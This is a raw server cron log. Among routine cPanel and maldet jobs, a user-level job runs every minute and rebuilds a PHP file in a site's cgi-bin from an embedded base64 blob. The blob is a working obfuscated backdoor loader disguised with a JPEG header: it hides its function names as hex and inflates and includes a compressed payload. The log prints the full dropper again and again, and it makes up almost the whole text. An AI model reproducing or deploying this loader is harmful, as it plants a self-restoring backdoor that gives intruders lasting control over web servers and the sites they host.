Nov 14 20:11:01 server CROND[2217]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 20:12:01 server CROND[2764]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 20:12:01 server CROND[2765]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 14 20:13:01 server CROND[3677]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 20:14:01 server CROND[4263]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 20:15:01 server CROND[5072]: (root) CMD (/usr/local/cpanel/bin/dbindex &gt;/dev/null 2&gt;&amp;1)
Nov 14 20:15:01 server CROND[5073]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 20:15:01 server CROND[5074]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 20:15:01 server CROND[5075]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 20:16:01 server CROND[5675]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 20:17:01 server CROND[6575]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 20:18:01 server CROND[7311]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 20:19:01 server CROND[7976]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 20:20:01 server CROND[8944]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 20:20:01 server CROND[8945]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 20:20:01 server CROND[8977]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 20:20:01 server CROND[8981]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 14 20:20:01 server CROND[8982]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 20:21:01 server CROND[9639]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 20:22:01 server CROND[10469]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 20:23:01 server CROND[11519]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
